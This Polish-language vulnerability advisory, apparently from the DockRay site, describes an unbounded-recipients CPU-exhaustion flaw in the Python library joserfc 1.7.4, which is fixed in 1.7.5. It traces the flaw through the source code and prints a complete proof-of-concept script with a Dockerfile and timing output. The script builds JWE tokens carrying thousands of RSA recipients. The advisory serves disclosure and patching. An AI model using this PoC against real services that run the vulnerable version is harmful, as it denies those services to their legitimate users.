Wysoka

joserfc: Nieograniczona tablica `recipients` w JWE General JSON prowadzi do wyczerpania zasobów CPU (DoS) poprzez wielokrotne deszyfrowanie kluczem prywatnym RSA

  • Ujawniono: 30.10.2026
  • Aktualizacja: 07.11.2026 10:00

Podsumowanie

Funkcja joserfc.jwe.decrypt_json(), publiczny parser biblioteki dla formatu JWE General JSON Serialization, akceptuje kontrolowaną przez atakującego tablicę recipients o nieograniczonej długości i wykonuje pełną operację deszyfrowania kluczem prywatnym (decrypt_cek) dla każdego odbiorcy obecnego w danych wejściowych, bez jakiegokolwiek limitu liczby odbiorców. Nieuwierzytelniony atakujący sieciowy, który może przesłać dokument JWE General JSON do dowolnego punktu końcowego deszyfrującego go za pomocą klucza RSA (np. RSA-OAEP), może zmusić ofiarę do wykonania arbitralnej, wybranej przez atakującego liczby operacji deszyfrowania kluczem prywatnym RSA przy użyciu pojedynczego, stosunkowo małego żądania HTTP.

Daje to atakującemu wysoce asymetryczny mechanizm wyczerpania zasobów procesora (Denial of Service): lokalna reprodukcja wykazuje, że rozmiar żądania rośnie liniowo wraz z liczbą odbiorców (~396 bajtów/odbiorcę), podczas gdy czas CPU po stronie serwera wzrasta proporcjonalnie (w stosunku bliskim 1:1 pomiędzy wzrostem liczby odbiorców a wzrostem czasu deszyfrowania). Jedyna udokumentowana opcja mitygacji w bibliotece, verify_all_recipients=False, nie redukuje kosztu procesora, ponieważ pętla deszyfrująca bezwarunkowo przetwarza decrypt_cek() każdego odbiorcy przed sprawdzeniem tej flagi. Podatność została sklasyfikowana jako CWE-400 (Niekontrolowane zużycie zasobów) z oceną bazową CVSS v3.1 wynoszącą 7.5 (Wysoka).

Szczegóły

Biblioteka joserfc weryfikuje i ogranicza rozmiar kilku elementów strukturalnych JWE (rozmiar nagłówka chronionego, rozmiar zaszyfrowanego klucza, rozmiar IV, rozmiar tekstu zaszyfrowanego i rozmiar znacznika uwierzytelniającego) wewnątrz src/joserfc/_rfc7516/registry.py, lecz nie przeprowadza żadnej walidacji liczby elementów w tablicy recipients obiektu JWE General JSON Serialization.

Przepływ danych (źródło → ujście), zweryfikowany bezpośrednio w kodzie źródłowym repozytorium w commicie 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):

  1. src/joserfc/jwe.py:214 — publiczny punkt wejścia parsera decrypt_json(data, private_key, ...). Jest to udokumentowane, nieuwierzytelnione (na granicy biblioteki) API do parsowania zewnętrznie dostarczonego JWE JSON.
  2. src/joserfc/jwe.py:238 — jeśli "recipients" znajduje się w słowniku wejściowym, wywoływane jest extract_general_json(...).
  3. src/joserfc/_rfc7516/json.py:84-86 — iteruje po for item in data["recipients"]: i dołącza obiekt Recipient dla każdego wpisu, bez sprawdzania górnego limitu dla len(data["recipients"]):
    python
    for item in data["recipients"]:
        recipient = __extract_recipient(obj, item, registry)
        obj.recipients.append(recipient)
  4. src/joserfc/jwe.py:252 — klucz prywatny jest przypisywany do każdego wyodrębnionego odbiorcy.
  5. src/joserfc/_rfc7516/message.py:103-112 — _perform_decrypt() iteruje po każdym odbiorcy w obj.recipients i wywołuje decrypt_recipient(...) dla każdego z nich, niezależnie od ich liczby:
    python
    cek_set = set()
    for recipient in obj.recipients:
        headers = recipient.headers()
        registry.check_header(headers, True)
        alg = registry.get_alg(headers["alg"])
        try:
            cek = decrypt_recipient(alg, enc, recipient, tag)
            cek_set.add(cek)
  6. src/joserfc/_rfc7518/jwe_algs.py:74-83 — dla odbiorców RSA-OAEP/RSA1_5 następuje przekierowanie do ujścia, czyli faktycznej operacji z użyciem klucza prywatnego RSA:
    python
    def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes:
        key = recipient.recipient_key
        assert key is not None
        self.check_key_type(key)
        op_key = key.get_op_key("decrypt")
        try:
            assert recipient.encrypted_key is not None
            cek = op_key.decrypt(recipient.encrypted_key, self.padding)

Zostało to potwierdzone bezpośrednią inspekcją src/joserfc/_rfc7516/registry.py: limity rozmiaru istnieją dla max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length oraz max_auth_tag_length (registry.py:52-62, 103-121), jednak żadne pole ani sprawdzenie max_recipients (lub równoważne) nie występuje w registry.py, json.py ani jwe.py.

Kluczowym elementem jest to, że pętla w message.py:103-112 wywołuje decrypt_recipient() bezwarunkowo dla każdego odbiorcy — dzieje się to zanim flaga registry.verify_all_recipients zostanie w ogóle sprawdzona. Ustawienie verify_all_recipients=False (jedynej powiązanej opcji udokumentowanej w bibliotece) zmienia jedynie to, czy niepowodzenie deszyfrowania zgłasza wyjątek, ale nie zmniejsza liczby wykonywanych operacji klucza prywatnego RSA, a tym samym nie eliminuje obciążenia procesora. Zostało to niezależnie potwierdzone w środowisku uruchomieniowym (patrz wyniki PoC poniżej): czas deszyfrowania jest statystycznie identyczny dla verify_all_recipients=True i verify_all_recipients=False przy tej samej liczbie odbiorców.

Ścieżka decrypt_json() nie jest kodem demonstracyjnym ani administracyjnym: została udokumentowana w docs/guide/jwe.rst:156-182 jako standardowy sposób parsowania i deszyfrowania zewnętrznie odebranego General JSON JWE i nie wymaga żadnej niestandardowej konfiguracji do jej wywołania. Jest to funkcjonalnie analogiczne do dwóch innych problemów związanych z wyczerpaniem zasobów rozwiązanych wcześniej w tym samym kodzie — limitu iteracji PBES2 p2c (src/joserfc/_rfc7518/jwe_algs.py:237-239) oraz limitu rozmiaru dekompresji JWE przed atakiem typu "bomba zip" (src/joserfc/_rfc7518/jwe_zips.py:11,26-28) — co wskazuje, że przypadek liczby odbiorców został po prostu pominięty podczas wcześniejszego utwardzania kodu.

PoC

Zarówno statyczna (Faza 1), jak i dynamiczna, skonteneryzowana (Faza 2) reprodukcja potwierdziła podatność w niezmodyfikowanym kodzie źródłowym joserfc 1.7.4.

Konfiguracja środowiska (Dockerfile):

dockerfile
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]

Budowanie i uruchomienie (kod źródłowy jest używany bez modyfikacji; kontener nie ma dostępu do sieci):

bash
docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500

Logika PoC (poc.py): generuje parę kluczy ofiary RSA-2048 (reprezentującą klucz RSA używany przez aplikację do deszyfrowania RSA-OAEP JWE), tworzy dokument General JSON JWE (GeneralJSONEncryption) owijający niewielki tekst jawny przy użyciu wybranej przez atakującego liczby n odbiorców RSA-OAEP (wszyscy używają klucza publicznego ofiary, który w przypadku szyfrowania JWE jest publicznie dostępny), a następnie wywołuje niezmodyfikowane publiczne API joserfc.jwe.decrypt_json() i mierzy czas deszyfrowania: raz z flagą verify_all_recipients=True, a raz z verify_all_recipients=False.

python
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes

def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello"
    return dt

Zaobserwowane wyniki (Faza 2, wewnątrz kontenera Docker, --network none, niezmodyfikowany kod źródłowy):

[*] Attacker crafts General JSON JWE with recipients=1 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
       no upper bound, and verify_all_recipients=False did not mitigate the cost.

Niezależna reprodukcja w fazie statycznej (Faza 1) na tym samym commicie poza kontenerem wykazała takie samo liniowe zachowanie (odbiorcy=500 → 198,140 bajtów → 0.627s; odbiorcy=1500 → 594,140 bajtów → 1.957s), a lokalne uruchomienie z oryginalnego zgłoszenia wykazało: odbiorcy=1000 → 396,140 bajtów → 1.254s; odbiorcy=3000 → 1,188,140 bajtów → 3.762s. W każdym przebiegu wartość plaintext=b'hello' została poprawnie odzyskana, co potwierdza, że każde spreparowane żądanie stanowi w pełni poprawne dane wejściowe, a nie uszkodzone dane odrzucane na wczesnym etapie.

We wszystkich przypadkach opcja verify_all_recipients=False generowała czasy deszyfrowania statystycznie identyczne z verify_all_recipients=True dla tej samej liczby odbiorców (np. 500 odbiorców: 0.631s vs 0.651s; 1500 odbiorców: 1.874s vs 1.875s), co empirycznie potwierdza, że ta udokumentowana flaga nie mityguje obciążenia procesora.

Wpływ

Jest to zdalna, nieuwierzytelniona podatność typu Denial of Service polegająca na wyczerpaniu zasobów procesora (CWE-400, Niekontrolowane zużycie zasobów). Każda aplikacja, która:

  • udostępnia punkt końcowy (lub ścieżkę przetwarzania wiadomości) akceptujący dane JWE w formacie General JSON Serialization, oraz
  • deszyfruje je przy użyciu joserfc.jwe.decrypt_json() z algorytmem zarządzania kluczami opartym na RSA (np. RSA-OAEP, RSA1_5),

jest podatna na atak. Atakujący potrzebuje jedynie klucza publicznego RSA ofiary — który jest z założenia publiczny, ponieważ służy uprawnionym nadawcom do szyfrowania wiadomości JWE kierowanych do ofiary. Ponieważ rozmiar żądania rośnie liniowo wraz z liczbą odbiorców (~396 bajtów na odbiorcę), a narzucone przez atakującego obciążenie procesora serwera rośnie w identycznym tempie, atakujący uzyskuje bardzo korzystną asymetrię kosztów: np. żądanie o wielkości ~1.2 MB wymusiło w testach około 3.8 sekund operacji deszyfrowania kluczem prywatnym RSA-2048. Powtarzające się lub równoległe żądania tego typu mogą wyczerpać dostępne zasoby procesora/procesów roboczych usługi, powodując degradację wydajności lub całkowity brak dostępności dla uprawnionych użytkowników. Poufność oraz integralność nie są naruszone (żadne materiały klucza ani teksty jawne nie są ujawniane ani modyfikowane); wpływ ogranicza się wyłącznie do dostępności, zgodnie z wektorem CVSS C:N/I:N/A:H.

Artefakty reprodukcji

Dockerfile

dockerfile
# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.

FROM python:3.12-slim

WORKDIR /app

# Copy the exact repository source under test (unmodified).
COPY repo /app/repo

# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo

# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py

ENTRYPOINT ["python3", "/app/poc.py"]

poc.py

python
"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.

Data flow reproduced end to end (unmodified joserfc source):
  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)
  2. -> extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)
  3. -> for item in data["recipients"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)
  4. -> perform_decrypt() -> _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)
  5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
        regardless of registry.verify_all_recipients
  6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)
     performs one real RSA-2048 private-key decrypt operation per recipient.

This script:
  (a) builds a victim RSA keypair (2048-bit, as an application would use for
      RSA-OAEP JWE decryption),
  (b) crafts a General JSON JWE token with an attacker-chosen number of
      RSA-OAEP recipients, all wrapping the SAME small ciphertext,
  (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
      processing the token as the recipient count grows,
  (d) shows that setting verify_all_recipients=False (the only public
      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
      because the decrypt loop in message.py always attempts every
      recipient's decrypt_cek() before that flag is ever consulted.

Deterministic PASS criteria (printed as machine-readable JSON lines):
  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
  - decrypt_seconds scales roughly linearly with recipient count (attacker
    control over victim CPU cost, unbounded by the library).
  - decrypt_seconds for verify_all_recipients=False is statistically the same
    order of magnitude as verify_all_recipients=True for the same recipient
    count (proving the documented mitigation does not help).
"""

import argparse
import json
import time

from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry


def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    """Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
    all wrapping the same small plaintext. This is exactly the shape an
    unauthenticated network attacker can send to any endpoint that calls
    jwe.decrypt_json() on external input, as documented in
    docs/guide/jwe.rst."""
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes


def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
    return dt


def main():
    parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
    parser.add_argument(
        "--recipients",
        type=int,
        nargs="+",
        default=[1, 500, 1500],
        help="Recipient counts to test (attacker-controlled array length).",
    )
    parser.add_argument(
        "--key-bits",
        type=int,
        default=2048,
        help="RSA key size of the victim's decryption key.",
    )
    args = parser.parse_args()

    print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
    private_key = jwk.RSAKey.generate_key(args.key_bits)
    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
    print("[*] Victim private key generated locally; public key is what an attacker would normally have.")

    results = []
    for n in args.recipients:
        print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
        token, size_bytes = build_token(public_key, n)

        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
        print(
            f"    verify_all_recipients=True  -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
        )

        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
        print(
            f"    verify_all_recipients=False -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
            f"(documented 'mitigation' does NOT reduce CPU cost)"
        )

        results.append(
            {
                "recipients": n,
                "size_bytes": size_bytes,
                "decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
                "decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
            }
        )

    print("\n[RESULT_JSON] " + json.dumps(results))

    # Deterministic scaling check: CPU time for the largest recipient count
    # must be substantially larger (order of magnitude, not noise) than for
    # the smallest, proving attacker control over victim CPU consumption.
    baseline = results[0]["decrypt_seconds_verify_all_true"]
    worst = results[-1]["decrypt_seconds_verify_all_true"]
    ratio = worst / baseline if baseline > 0 else float("inf")
    recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
    print(
        f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
        f"decrypt_time_ratio={ratio:.1f}x "
        f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
    )

    if ratio < recipient_ratio * 0.3:
        print("[FAIL] Decrypt time did not scale with recipient count as expected.")
        raise SystemExit(1)

    print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
          "recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")


if __name__ == "__main__":
    main()

Co trzeba zrobić

Zaktualizuj pakiet joserfc do wersji 1.7.5 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) joserfc < 1.7.5 1.7.5

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-400
Platforma
Python (PyPI)
Paczka
joserfc
Ujawniono
30.10.2026
Aktualizacja
07.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-jpxq-7h8p-2q76 - CC BY 4.0

Historia podatności: joserfc

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
6
Pierwsza → ostatnia
11.2025 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 3
  • Średnia 2

Ujawnienia w latach

  1. 2025: 1
  2. 2026: 5
  1. joserfc: Nieograniczona tablica `recipients` w JWE General JSON prowadzi do wyczerpania zasobów CPU (DoS) poprzez wielokrotne deszyfrowanie kluczem prywatnym RSA ten wpis
    Wysoka · 7.5 CVE-2026-119283 < 1.7.5 1.7.5

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.